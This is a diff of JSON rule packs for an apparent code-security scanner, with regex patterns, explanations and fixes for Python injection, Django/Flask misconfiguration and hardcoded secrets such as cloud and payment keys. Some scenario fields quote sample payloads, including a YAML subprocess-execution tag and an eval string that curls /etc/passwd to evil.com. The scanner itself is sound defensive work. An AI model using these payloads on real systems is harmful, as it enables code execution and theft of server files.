"pattern": "yaml\\s*\\.\\s*load\\s*\\([^)]{0,200}\\)(?![^;]{0,100}Loader\\s*=\\s*yaml\\.(?:Safe|Base|Full)Loader)",
|
|
375
|
+
"flags": "g",
|
|
376
|
+
"antipattern": "Loader\\s*=\\s*yaml\\.(?:Safe|Base|Full)Loader|yaml\\.safe_load",
|
|
377
|
+
"antipattern_flags": "i",
|
|
378
|
+
"lookahead": 80,
|
|
379
|
+
"file_types": [
|
|
380
|
+
"py"
|
|
381
|
+
],
|
|
382
|
+
"why": "yaml.load() without a safe Loader executes arbitrary Python objects embedded in the YAML document using !!python/object tags. An attacker who controls the YAML input can achieve remote code execution.",
|
|
383
|
+
"scenario": "yaml.load(request.data) to parse a user-supplied config. Attacker sends: !!python/object/apply:subprocess.check_output [[\"id\"]]. Server executes the system command.",
|
|
384
|
+
"fix": "Always use safe_load: yaml.safe_load(data). Or explicitly specify: yaml.load(data, Loader=yaml.SafeLoader)."
|
|
385
|
+
},
|
|
386
|
+
{
|
|
387
|
+
"id": "PY-INJ-005",
|
|
388
|
+
"name": "Code injection — eval() or exec() with user-controlled input",
|
|
389
|
+
"severity": "CRITICAL",
|
|
390
|
+
"category": "Injection (OWASP A03)",
|
|
391
|
+
"pattern": "\\b(?:eval|exec)\\s*\\(\\s*(?:request\\s*\\.\\s*(?:args|form|json|data|values)|[\\w.]*(?:input|user|code|expr|query|cmd|command)[\\w.]*\\s*(?:\\.get\\s*\\(|\\.data|\\[))",
|
|
392
|
+
"flags": "gi",
|
|
393
|
+
"file_types": [
|
|
394
|
+
"py"
|
|
395
|
+
],
|
|
396
|
+
"why": "eval() and exec() execute arbitrary Python code. Any user-controlled string passed to these functions gives the attacker full code execution on the server.",
|
|
397
|
+
"scenario": "eval(request.args.get(\"formula\")) to evaluate a user-provided math expression. Attacker passes: __import__(\"os\").system(\"curl https://evil.com/$(cat /etc/passwd)\"). Server exfiltrates the password file.",
|
|
398
|
+
"fix": "Never use eval/exec with user input. For math expressions use a safe parser: import ast; ast.literal_eval() for literals only."
|
|
399
|
+
},
|
|
400
|
+
{
|
|
401
|
+
"id": "PY-EXPOSURE-001",
|
|
402
|
+
"name": "Django DEBUG=True — debug mode enabled in code",
|
|
403
|
+
"severity": "EXPOSURE",
|
|
404
|
+
"category": "Security Misconfiguration (OWASP A05)",
|
|
405
|
+
"pattern": "^\\s*DEBUG\\s*=\\s*True\\b",
|
|
406
|
+
"flags": "gm",
|
|
407
|
+
"antipattern": "os\\.environ|getenv|config\\.",
|
|
408
|
+
"antipattern_flags": "i",
|
|
409
|
+
"lookahead": 40,
|
|
410
|
+
"file_types": [
|
|
411
|
+
"py"
|
|
412
|
+
],
|
|
413
|
+
"why": "DEBUG=True enables the Django debug page which displays full stack traces, local variable values, SQL queries, and loaded settings — including SECRET_KEY and database credentials — to anyone who triggers an error.",
|
|
414
|
+
"scenario": "settings.py shipped with DEBUG=True to production. Any unhandled exception returns a full debug page showing the database connection string, all installed middleware, and the complete request/response cycle.",
|
|
415
|
+
"fix": "DEBUG = os.environ.get(\"DJANGO_DEBUG\", \"False\") == \"True\". In production the variable should never be set, defaulting to False."
|
|
416
|
+
},
|
|
417
|
+
{
|
|
418
|
+
"id": "PY-EXPOSURE-002",
|
|
419
|
+
"name": "Django SECRET_KEY hardcoded — cryptographic key in source",
|
|
420
|
+
"severity": "EXPOSURE",
|
|
421
|
+
"category": "Security Misconfiguration (OWASP A05)",
|
|
422
|
+
"pattern": "SECRET_KEY\\s*=\\s*['\\\"][^'\\\"]{8,}['\\\"]",
|
|
423
|
+
"flags": "g",
|
|
424
|
+
"antipattern": "os\\.environ|getenv|config\\.|env\\(",
|
|
425
|
+
"antipattern_flags": "i",
|
|
426
|
+
"lookahead": 40,
|
|
427
|
+
"file_types": [
|
|
428
|
+
"py"
|
|
429
|
+
],
|
|
430
|
+
"why": "Django's SECRET_KEY is used to sign cookies, sessions, CSRF tokens, and password reset links. If it leaks, attackers can forge all of these.",
|
|
431
|
+
"scenario": "SECRET_KEY = \"django-insecure-abc123...\" committed to a public repo. Attacker uses it to forge session cookies and bypass authentication.",
|
|
432
|
+
"fix": "SECRET_KEY = os.environ[\"DJANGO_SECRET_KEY\"]. Generate: python -c \"from django.core.management.utils import get_random_secret_key; print(get_random_secret_key())\""
|
|
433
|
+
},
|
|
434
|
+
{
|
|
435
|
+
"id": "PY-EXPOSURE-003",
|
|
436
|
+
"name": "Flask SECRET_KEY hardcoded or set to weak value",
|
|
437
|
+
"severity": "EXPOSURE",
|
|
438
|
+
"category": "Security Misconfiguration (OWASP A05)",
|
|
439
|
+
"pattern": "app\\s*\\.\\s*(?:secret_key|config\\s*\\[\\s*['\\\"]SECRET_KEY['\\\"]\\s*\\])\\s*=\\s*['\\\"][^'\\\"]{1,}['\\\"]",
|
|
440
|
+
"flags": "g",
|
|
441
|
+
"antipattern": "os\\.environ|getenv|config\\.",
|
|
442
|
+
"antipattern_flags": "i",
|
|
443
|
+
"lookahead": 40,
|
|
444
|
+
"file_types": [
|
|
445
|
+
"py"
|
|
446
|
+
],
|
|
447
|
+
"why": "Flask uses SECRET_KEY to cryptographically sign session cookies. A hardcoded or weak key allows attackers to forge session data, escalate privileges, or impersonate any user.",
|
|
448
|
+
"scenario": "app.secret_key = \"dev\" in production. Attacker signs a session cookie with role=admin using the known key. Flask accepts the cookie as legitimate and grants admin access.",
|
|
449
|
+
"fix": "app.secret_key = os.environ[\"FLASK_SECRET_KEY\"]. Generate: python -c \"import secrets; print(secrets.token_hex(32))\""
|
|
450
|
+
},
|
|
451
|
+
{
|
|
452
|
+
"id": "PY-EXPOSURE-004",
|
|
453
|
+
"name": "ALLOWED_HOSTS includes wildcard — accepts requests for any hostname",
|
|
454
|
+
"severity": "EXPOSURE",
|
|
455
|
+
"category": "Security Misconfiguration (OWASP A05)",
|
|
456
|
+
"pattern": "ALLOWED_HOSTS\\s*=\\s*\\[['\\\"\\s]*\\*['\\\"\\s]*\\]",
|
|
457
|
+
"flags": "g",
|
|
458
|
+
"file_types": [
|
|
459
|
+
"py"
|
|
460
|
+
],
|
|
461
|
+
"why": "ALLOWED_HOSTS = [\"*\"] disables Django's host header validation. This enables HTTP Host header injection attacks.",
|
|
462
|
+
"scenario": "Password reset email uses request.get_host() to build the reset URL. With ALLOWED_HOSTS=[\"*\"], attacker sends a reset request with Host: evil.com. Reset email contains a link to evil.com — attacker captures the reset token.",
|
|
463
|
+
"fix": "ALLOWED_HOSTS = [os.environ.get(\"ALLOWED_HOST\", \"yourdomain.com\")]. Never use [\"*\"] in production."
|
|
464
|
+
}
|
|
465
|
+
]
|
|
466
|
+
}
|
|
@@ -0,0 +1,99 @@
|
|
|
1
|
+
{
|
|
2
|
+
"schema_version": 1,
|
|
3
|
+
"pack_id": "secrets",
|
|
4
|
+
"pack_name": "Secrets Detection",
|
|
5
|
+
"pack_version": "1.0.0",
|
|
6
|
+
"rules": [
|
|
7
|
+
{
|
|
8
|
+
"id": "SECRET-001",
|
|
9
|
+
"name": "AWS Access Key",
|
|
10
|
+
"severity": "CRITICAL",
|
|
11
|
+
"category": "Sensitive Data Exposure (OWASP A02)",
|
|
12
|
+
"pattern": "AKIA[0-9A-Z]{16}",
|
|
13
|
+
"flags": "g",
|
|
14
|
+
"why": "AWS Access Keys grant direct access to your cloud services and resources.",
|
|
15
|
+
"scenario": "An attacker who finds the key can launch servers, read S3 buckets, and delete data on your behalf — charges and breaches may go unnoticed for days.",
|
|
16
|
+
"fix": "Use environment variables or AWS IAM roles instead. Rotate the key immediately via the AWS Console and audit CloudTrail for unauthorized usage."
|
|
17
|
+
},
|
|
18
|
+
{
|
|
19
|
+
"id": "SECRET-002",
|
|
20
|
+
"name": "OpenAI API Key",
|
|
21
|
+
"severity": "CRITICAL",
|
|
22
|
+
"category": "Sensitive Data Exposure (OWASP A02)",
|
|
23
|
+
"pattern": "sk-[a-zA-Z0-9]{20,}",
|
|
24
|
+
"flags": "g",
|
|
25
|
+
"why": "An OpenAI API key in source code can be used by anyone who reads the repository — including forks and search engine caches.",
|
|
26
|
+
"scenario": "Automated scanners harvest OpenAI keys from GitHub within minutes of a push. Usage costs can reach thousands of dollars before the key is revoked.",
|
|
27
|
+
"fix": "Store in a .env file (with .env in .gitignore) or in your platform's secret manager. Revoke the exposed key at platform.openai.com/api-keys."
|
|
28
|
+
},
|
|
29
|
+
{
|
|
30
|
+
"id": "SECRET-003",
|
|
31
|
+
"name": "GitHub Personal Access Token",
|
|
32
|
+
"severity": "CRITICAL",
|
|
33
|
+
"category": "Sensitive Data Exposure (OWASP A02)",
|
|
34
|
+
"pattern": "ghp_[a-zA-Z0-9]{36}",
|
|
35
|
+
"flags": "g",
|
|
36
|
+
"why": "GitHub tokens grant access to your repositories and organization settings, scoped to whatever permissions were granted at creation.",
|
|
37
|
+
"scenario": "With a valid token, an attacker can read private code, push commits, create webhooks, or inject malicious code into your repository.",
|
|
38
|
+
"fix": "Use GitHub Actions secrets for CI/CD: ${{ secrets.MY_TOKEN }}. Revoke the exposed token immediately at github.com/settings/tokens."
|
|
39
|
+
},
|
|
40
|
+
{
|
|
41
|
+
"id": "SECRET-004",
|
|
42
|
+
"name": "Generic API Key (hardcoded)",
|
|
43
|
+
"severity": "HIGH",
|
|
44
|
+
"category": "Sensitive Data Exposure (OWASP A02)",
|
|
45
|
+
"pattern": "(?:api[_-]?key|apikey|api[_-]?secret)\\s*[:=]\\s*['\"][a-zA-Z0-9_\\-]{16,}['\"]",
|
|
46
|
+
"flags": "gi",
|
|
47
|
+
"why": "Hardcoded API keys are exposed to everyone who can read the source code — including all contributors, contractors, and anyone who gains repository access.",
|
|
48
|
+
"scenario": "If the repository is shared with a consultant or accidentally made public, the API key is immediately exposed to external parties.",
|
|
49
|
+
"fix": "Move to an environment variable: process.env.API_KEY or the equivalent for your language. Store the value in a .env file excluded from git, or use a secrets manager."
|
|
50
|
+
},
|
|
51
|
+
{
|
|
52
|
+
"id": "SECRET-005",
|
|
53
|
+
"name": "Hardcoded password",
|
|
54
|
+
"severity": "HIGH",
|
|
55
|
+
"category": "Sensitive Data Exposure (OWASP A02)",
|
|
56
|
+
"pattern": "(?:password|passwd|pwd)\\s*[:=]\\s*['\"][^'\"]{6,}['\"]",
|
|
57
|
+
"flags": "gi",
|
|
58
|
+
"antipattern": "input\\[|\\.val\\(\\)|getElementById|querySelector|getenv|process\\.env|os\\.environ|name\\s*=\\s*['\"]password|type\\s*=\\s*['\"]password|password=[\"']\\s*\\+\\s*\\w|&password=[\"']\\s*\\+|(?:string|var|const|let)\\s+\\w*[Pp]assword",
|
|
59
|
+
"antipattern_flags": "i",
|
|
60
|
+
"lookahead": 80,
|
|
61
|
+
"why": "Hardcoded passwords in source code are one of the most common vulnerabilities in AI-generated code. They end up in version control history permanently — even after deletion.",
|
|
62
|
+
"scenario": "An AI coding tool fills in a sample password that gets committed and forgotten. Anyone with repository access — including future contributors — can see it forever in git history.",
|
|
63
|
+
"fix": "Use environment variables or a secrets manager. Ensure .env is in .gitignore. For .NET: use Web.config encrypted sections or environment variables via ConfigurationManager."
|
|
64
|
+
},
|
|
65
|
+
{
|
|
66
|
+
"id": "SECRET-006",
|
|
67
|
+
"name": "Private key (PEM format)",
|
|
68
|
+
"severity": "CRITICAL",
|
|
69
|
+
"category": "Cryptographic Failures (OWASP A02)",
|
|
70
|
+
"pattern": "-----BEGIN (?:RSA |EC |OPENSSH )?PRIVATE KEY-----",
|
|
71
|
+
"flags": "g",
|
|
72
|
+
"why": "A private key in source code compromises your entire cryptographic infrastructure — SSL certificates, SSH access, and signed tokens can all be forged.",
|
|
73
|
+
"scenario": "The committed private key is used to decrypt TLS traffic captured by an attacker, or to sign malicious code as if it came from your organisation.",
|
|
74
|
+
"fix": "Private keys must never appear in source code. Store in a secrets manager or HSM. Revoke and reissue the affected certificate or key pair immediately."
|
|
75
|
+
},
|
|
76
|
+
{
|
|
77
|
+
"id": "SECRET-007",
|
|
78
|
+
"name": "Hardcoded JWT secret",
|
|
79
|
+
"severity": "CRITICAL",
|
|
80
|
+
"category": "Broken Authentication (OWASP A07)",
|
|
81
|
+
"pattern": "jwt[_-]?secret\\s*[:=]\\s*['\"][^'\"]{8,}['\"]",
|
|
82
|
+
"flags": "gi",
|
|
83
|
+
"why": "The JWT signing secret is used to sign and verify all authentication tokens. Exposing it allows an attacker to forge valid sessions for any user.",
|
|
84
|
+
"scenario": "An attacker who knows the secret creates a JWT with admin: true and any user ID, bypassing all authentication checks in your application.",
|
|
85
|
+
"fix": "Generate a strong random secret (minimum 256 bits) and store it in an environment variable. Rotate the secret and invalidate all existing sessions immediately."
|
|
86
|
+
},
|
|
87
|
+
{
|
|
88
|
+
"id": "SECRET-008",
|
|
89
|
+
"name": "Stripe Secret Key",
|
|
90
|
+
"severity": "CRITICAL",
|
|
91
|
+
"category": "Sensitive Data Exposure (OWASP A02)",
|
|
92
|
+
"pattern": "sk_live_[a-zA-Z0-9]{24,}",
|
|
93
|
+
"flags": "g",
|
|
94
|
+
"why": "Stripe live keys grant full programmatic access to your payment account, including initiating payouts, refunds, and reading card data.",
|
|
95
|
+
"scenario": "An attacker uses the exposed key to initiate payouts to an external account or enumerate customer payment methods.",
|
|
96
|
+
"fix": "Never use live keys in source code. Store in a server-side environment variable only. Revoke the exposed key immediately in the Stripe Dashboard and audit recent API activity."
|
|
97
|
+
}
|
|
98
|
+
]
|
|
99
|
+
}
|